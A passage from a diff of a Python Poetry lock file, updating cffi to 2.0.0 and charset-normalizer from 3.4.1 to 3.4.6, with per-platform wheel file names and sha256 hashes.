{file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, + {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, + {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, + {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, + {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, + {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, + {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, + {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, + {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, + {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, ] [package.dependencies] -pycparser = "*" +pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} [[package]] name = "charset-normalizer" -version = "3.4.1" +version = "3.4.6" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "charset_normalizer-3.4.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:91b36a978b5ae0ee86c394f5a54d6ef44db1de0815eb43de826d41d21e4af3de"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7461baadb4dc00fd9e0acbe254e3d7d2112e7f92ced2adc96e54ef6501c5f176"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e218488cd232553829be0664c2292d3af2eeeb94b32bea483cf79ac6a694e037"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80ed5e856eb7f30115aaf94e4a08114ccc8813e6ed1b5efa74f9f82e8509858f"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b010a7a4fd316c3c484d482922d13044979e78d1861f0e0650423144c616a46a"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4532bff1b8421fd0a320463030c7520f56a79c9024a4e88f01c537316019005a"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d973f03c0cb71c5ed99037b870f2be986c3c05e63622c017ea9816881d2dd247"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a3bd0dcd373514dcec91c411ddb9632c0d7d92aed7093b8c3bbb6d69ca74408"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d9c3cdf5390dcd29aa8056d13e8e99526cda0305acc038b96b30352aff5ff2bb"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2bdfe3ac2e1bbe5b59a1a63721eb3b95fc9b6817ae4a46debbb4e11f6232428d"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eab677309cdb30d047996b36d34caeda1dc91149e4fdca0b1a039b3f79d9a807"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-win32.whl", hash = "sha256:c0429126cf75e16c4f0ad00ee0eae4242dc652290f940152ca8c75c3a4b6ee8f"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:9f0b8b1c6d84c8034a44893aba5e767bf9c7a211e313a9605d9c617d7083829f"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8bfa33f4f2672964266e940dd22a195989ba31669bd84629f05fab3ef4e2d125"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28bf57629c75e810b6ae989f03c0828d64d6b26a5e205535585f96093e405ed1"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f08ff5e948271dc7e18a35641d2f11a4cd8dfd5634f55228b691e62b37125eb3"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:234ac59ea147c59ee4da87a0c0f098e9c8d169f4dc2a159ef720f1a61bbe27cd"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd4ec41f914fa74ad1b8304bbc634b3de73d2a0889bd32076342a573e0779e00"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eea6ee1db730b3483adf394ea72f808b6e18cf3cb6454b4d86e04fa8c4327a12"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c96836c97b1238e9c9e3fe90844c947d5afbf4f4c92762679acfe19927d81d77"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4d86f7aff21ee58f26dcf5ae81a9addbd914115cdebcbb2217e4f0ed8982e146"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:09b5e6733cbd160dcc09589227187e242a30a49ca5cefa5a7edd3f9d19ed53fd"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5777ee0881f9499ed0f71cc82cf873d9a0ca8af166dfa0af8ec4e675b7df48e6"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:237bdbe6159cff53b4f24f397d43c6336c6b0b42affbe857970cefbb620911c8"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-win32.whl", hash = "sha256:8417cb1f36cc0bc7eaba8ccb0e04d55f0ee52df06df3ad55259b9a323555fc8b"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:d7f50a1f8c450f3925cb367d011448c39239bb3eb4117c36a6d354794de4ce76"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30bf9fd9be89ecb2360c7d94a711f00c09b976258846efe40db3d05828e8089"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:97f68b8d6831127e4787ad15e6757232e14e12060bec17091b85eb1486b91d8d"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7974a0b5ecd505609e3b19742b60cee7aa2aa2fb3151bc917e6e2646d7667dcf"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc54db6c8593ef7d4b2a331b58653356cf04f67c960f584edb7c3d8c97e8f39e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:311f30128d7d333eebd7896965bfcfbd0065f1716ec92bd5638d7748eb6f936a"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:7d053096f67cd1241601111b698f5cad775f97ab25d81567d3f59219b5f1adbd"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:807f52c1f798eef6cf26beb819eeb8819b1622ddfeef9d0977a8502d4db6d534"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:dccbe65bd2f7f7ec22c4ff99ed56faa1e9f785482b9bbd7c717e26fd723a1d1e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:2fb9bd477fdea8684f78791a6de97a953c51831ee2981f8e4f583ff3b9d9687e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:01732659ba9b5b873fc117534143e4feefecf3b2078b0a6a2e925271bb6f4cfa"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-win32.whl", hash = "sha256:7a4f97a081603d2050bfaffdefa5b02a9ec823f8348a572e39032caa8404a487"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:7b1bef6280950ee6c177b326508f86cad7ad4dff12454483b51d8b7d673a2c5d"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ecddf25bee22fe4fe3737a399d0d177d72bc22be6913acfab364b40bce1ba83c"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c60ca7339acd497a55b0ea5d506b2a2612afb2826560416f6894e8b5770d4a9"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b7b2d86dd06bfc2ade3312a83a5c364c7ec2e3498f8734282c6c3d4b07b346b8"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd78cfcda14a1ef52584dbb008f7ac81c1328c0f58184bf9a84c49c605002da6"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e27f48bcd0957c6d4cb9d6fa6b61d192d0b13d5ef563e5f2ae35feafc0d179c"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01ad647cdd609225c5350561d084b42ddf732f4eeefe6e678765636791e78b9a"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:619a609aa74ae43d90ed2e89bdd784765de0a25ca761b93e196d938b8fd1dbbd"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:89149166622f4db9b4b6a449256291dc87a99ee53151c74cbd82a53c8c2f6ccd"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:7709f51f5f7c853f0fb938bcd3bc59cdfdc5203635ffd18bf354f6967ea0f824"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:345b0426edd4e18138d6528aed636de7a9ed169b4aaf9d61a8c19e39d26838ca"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:0907f11d019260cdc3f94fbdb23ff9125f6b5d1039b76003b5b0ac9d6a6c9d5b"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-win32.whl", hash = "sha256:ea0d8d539afa5eb2728aa1932a988a9a7af94f18582ffae4bc10b3fbdad0626e"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:329ce159e82018d646c7ac45b01a430369d526569ec08516081727a20e9e4af4"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b97e690a2118911e39b4042088092771b4ae3fc3aa86518f84b8cf6888dbdb41"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78baa6d91634dfb69ec52a463534bc0df05dbd546209b79a3880a34487f4b84f"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a2bc9f351a75ef49d664206d51f8e5ede9da246602dc2d2726837620ea034b2"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75832c08354f595c760a804588b9357d34ec00ba1c940c15e31e96d902093770"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0af291f4fe114be0280cdd29d533696a77b5b49cfde5467176ecab32353395c4"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0167ddc8ab6508fe81860a57dd472b2ef4060e8d378f0cc555707126830f2537"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2a75d49014d118e4198bcee5ee0a6f25856b29b12dbf7cd012791f8a6cc5c496"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363e2f92b0f0174b2f8238240a1a30142e3db7b957a5dd5689b0e75fb717cc78"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:ab36c8eb7e454e34e60eb55ca5d241a5d18b2c6244f6827a30e451c42410b5f7"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4c0907b1928a36d5a998d72d64d8eaa7244989f7aaaf947500d3a800c83a3fd6"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:04432ad9479fa40ec0f387795ddad4437a2b50417c69fa275e212933519ff294"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-win32.whl", hash = "sha256:3bed14e9c89dcb10e8f3a29f9ccac4955aebe93c71ae803af79265c9ca5644c5"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:49402233c892a461407c512a19435d1ce275543138294f7ef013f0b63d5d3765"}, - {file = "charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85"}, - {file = "charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2e1d8ca8611099001949d1cdfaefc510cf0f212484fe7c565f735b68c78c3c95"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e25369dc110d58ddf29b949377a93e0716d72a24f62bad72b2b39f155949c1fd"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:259695e2ccc253feb2a016303543d691825e920917e31f894ca1a687982b1de4"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dda86aba335c902b6149a02a55b38e96287157e609200811837678214ba2b1db"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:51fb3c322c81d20567019778cb5a4a6f2dc1c200b886bc0d636238e364848c89"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:4482481cb0572180b6fd976a4d5c72a30263e98564da68b86ec91f0fe35e8565"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:39f5068d35621da2881271e5c3205125cc456f54e9030d3f723288c873a71bf9"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8bea55c4eef25b0b19a0337dc4e3f9a15b00d569c77211fa8cde38684f234fb7"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f0cdaecd4c953bfae0b6bb64910aaaca5a424ad9c72d85cb88417bb9814f7550"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:150b8ce8e830eb7ccb029ec9ca36022f756986aaaa7956aad6d9ec90089338c0"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e68c14b04827dd76dcbd1aeea9e604e3e4b78322d8faf2f8132c7138efa340a8"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:3778fd7d7cd04ae8f54651f4a7a0bd6e39a0cf20f801720a4c21d80e9b7ad6b0"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:dad6e0f2e481fffdcf776d10ebee25e0ef89f16d691f1e5dee4b586375fdc64b"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-win32.whl", hash = "sha256:74a2e659c7ecbc73562e2a15e05039f1e22c75b7c7618b4b574a3ea9118d1557"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-win_amd64.whl", hash = "sha256:aa9cccf4a44b9b62d8ba8b4dd06c649ba683e4bf04eea606d2e94cfc2d6ff4d6"}, + {file = "charset_normalizer-3.4.6-cp310-cp310-win_arm64.whl", hash = "sha256:e985a16ff513596f217cee86c21371b8cd011c0f6f056d0920aa2d926c544058"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:82060f995ab5003a2d6e0f4ad29065b7672b6593c8c63559beefe5b443242c3e"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60c74963d8350241a79cb8feea80e54d518f72c26db618862a8f53e5023deaf9"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e4333fb15c83f7d1482a76d45a0818897b3d33f00efd215528ff7c51b8e35d"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bc72863f4d9aba2e8fd9085e63548a324ba706d2ea2c83b260da08a59b9482de"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9cc4fc6c196d6a8b76629a70ddfcd4635a6898756e2d9cac5565cf0654605d73"}, + {file = 